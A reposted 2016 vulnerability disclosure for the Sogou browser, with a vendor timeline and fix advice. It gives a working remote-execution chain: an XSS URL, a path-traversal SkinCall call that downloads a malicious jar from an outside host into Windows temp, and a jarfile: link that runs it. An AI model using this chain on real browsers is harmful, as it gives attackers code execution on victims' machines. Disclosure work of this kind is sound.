神刀安全网

漏洞标题: 搜狗浏览器远程命令执行(需安装jre或python等辅助攻击)

漏洞详情

披露状态:

2016-02-20: 细节已通知厂商并且等待厂商处理中
2016-02-24: 厂商已经确认,细节仅向厂商公开
2016-02-27: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-19: 细节向核心白帽子及相关领域专家公开
2016-04-29: 细节向普通白帽子公开
2016-05-09: 细节向实习白帽子公开
2016-05-24: 细节向公众公开

简要描述:

新年快乐

详细说明:

1. 首先是搜狗浏览器的一个API,这个API在以前的漏洞里被利用过,然后修复了(http://**.**.**.**/bugs/wooyun-2010-037211)

修复后,写入的文件后缀只能是 setheme 和 seskin

其次 cmd.exe 处,也不能使用 ../../../../../../cmd.exe 来向上级目录写入文件了

2. 但是这个函数依然存在一些小缺陷,在 **.**.**.** 域名下执行的下面的语句:

window.external.SkinCall("installTheme", "//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//windows//temp//dadasdad.setheme", 38247, "http://**.**.**.**/xxxxxx", "ok");

如下图所示:可以写入一个文件dadasdad.setheme文件

漏洞标题:  搜狗浏览器远程命令执行(需安装jre或python等辅助攻击)

也就是说,只过滤了 ../../ ,没过滤 ../../

3. 因此,通过上面这种方式,我们可以在临时目录里生成任意内容的setheme文件。

4. 接着,我们可以通过

location.href='vbefile:/../../../../../../../../../../../../windows/temp/dadasdad.setheme'; 来尝试执行这个文件。

浏览器将会调用

wscript.exe "vbefile:/../../../../../../../../../../../../windows/temp/dadasdad.setheme"

但是会报下面的错误:

漏洞标题:  搜狗浏览器远程命令执行(需安装jre或python等辅助攻击)

这是因为setheme这个后缀,不能被wscript判断出用什么脚本引擎来执行,所以报这个错误。

这里首先会想到的是前述报告漏洞中的思路,通过 //E:jscript 来指定脚本引擎。

(参见:http://**.**.**.**/bugs/wooyun-2010-0175902)

但是搜狗这里却不行,如下图所示:

漏洞标题:  搜狗浏览器远程命令执行(需安装jre或python等辅助攻击)

图中可以看到,搜狗浏览器将路径进行了一次编码。

这使得我们无法注入双引号来闭合并注入后面的 //E:jscript

5. 为了能够进一步利用,我们需要找到这样的东西,

xxxx.exe "yyyy:/../../../../../../../../../xxx.setheme"

其中xxxx.exe可以直接把setheme的内容当作指令来执行。

a. 首先能想到的是

mshta.exe "yyyy:/../../../../../../../../../xxx.setheme"

mshta并不判断后缀是什么东西,这一点是符合的,不幸的是,

mshta后面的命令行为 "yyyy:……." 的时候,mshta 会认为你是在直接执行一个带协议的参数,

比如 mshta "javascript:alert(1)"

也就是说,当mshta遇到 yyyy: 的时候, mshta并不会把yyyy:/../../../../../../../../../xxx.setheme 当作一个本地路径了。

b. 还有比如 powershell的,其默认执行的关联为 notepad,并不能用来执行。

c. 还有一些例如 msi,要想实现静默无交互,也需要引入参数,

d. 翻遍了系统自带的一些,并没有发现好用的,只能把视线放到一些大家经常安装的第三方插件上了,比如 java 的 jre。

jre安装后,会支持 jarfile

漏洞标题:  搜狗浏览器远程命令执行(需安装jre或python等辅助攻击)

可以看到,我们可以利用jarfile来引入一个jar包

当我们调用

code 区域
location.href='jarfile:/../../../../../../../../../../../../windows/temp/dadasdad.setheme';

系统会调用

"C:/Program Files (x86)/Java/jre7/bin/javaw.exe" -jar "jarfile:/../../../../../../../../../../../../windows/temp/dadasdad.setheme" %*

如果 dadasdad.setheme 是一个包含恶意指令的jar包,那么就会被执行。

———————————————————–

6. 将利用代码串起来

首先是找到一个搜狗的xss,这个并不难。

code 区域
http://**.**.**.**/search/goto?pcode=licai&module=licai&url=javascript:alert(1);void 0;

然后是利用xss来下载一个恶意的jar包到本地目录

code 区域
window.external.SkinCall("installTheme", "//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//windows//temp//xxxxx.setheme", 38247, "http://**.**.**.**/test/all/sogoutest.jar", "ok");

最后是执行这个jar包

code 区域
function ok(){
location.href="jarfile:/../../../../../../../../../../../windows/temp/xxxxx.setheme"
}

7. 效果见漏洞证明

8. 不光是 jarfile, 如果你是一个程序员,

你可能还会安装 python, perl 等,这些同样可能能够加以利用。

如果大家找到了微软自带的东西里,有可以不需要带参数加以利用的,欢迎分享。

漏洞证明:

版本**.**.**.**78,默认一键安装(安装在系统盘)

电脑需装有jre

然后使用搜狗浏览器访问:

http://**.**.**.**/test/all/sg-jar.htm

漏洞标题:  搜狗浏览器远程命令执行(需安装jre或python等辅助攻击)

电脑装有python的话,可以试试

http://**.**.**.**/test/all/sg-new.htm

漏洞标题:  搜狗浏览器远程命令执行(需安装jre或python等辅助攻击)

修复方案:

1. 在浏览器调用外部的伪协议时,应该加上交互性的提示:

参考:http://**.**.**.**/test/all/readme.htm

2. 修复XSS

http://**.**.**.**/search/goto?pcode=licai&module=licai&url=javascript:alert(1);void 0;

3. 修复 window.external.SkinCall,对 ../ 也加以过滤

版权声明:转载请注明来源 多多关照@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 搜狗浏览器远程命令执行(需安装jre或python等辅助攻击)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址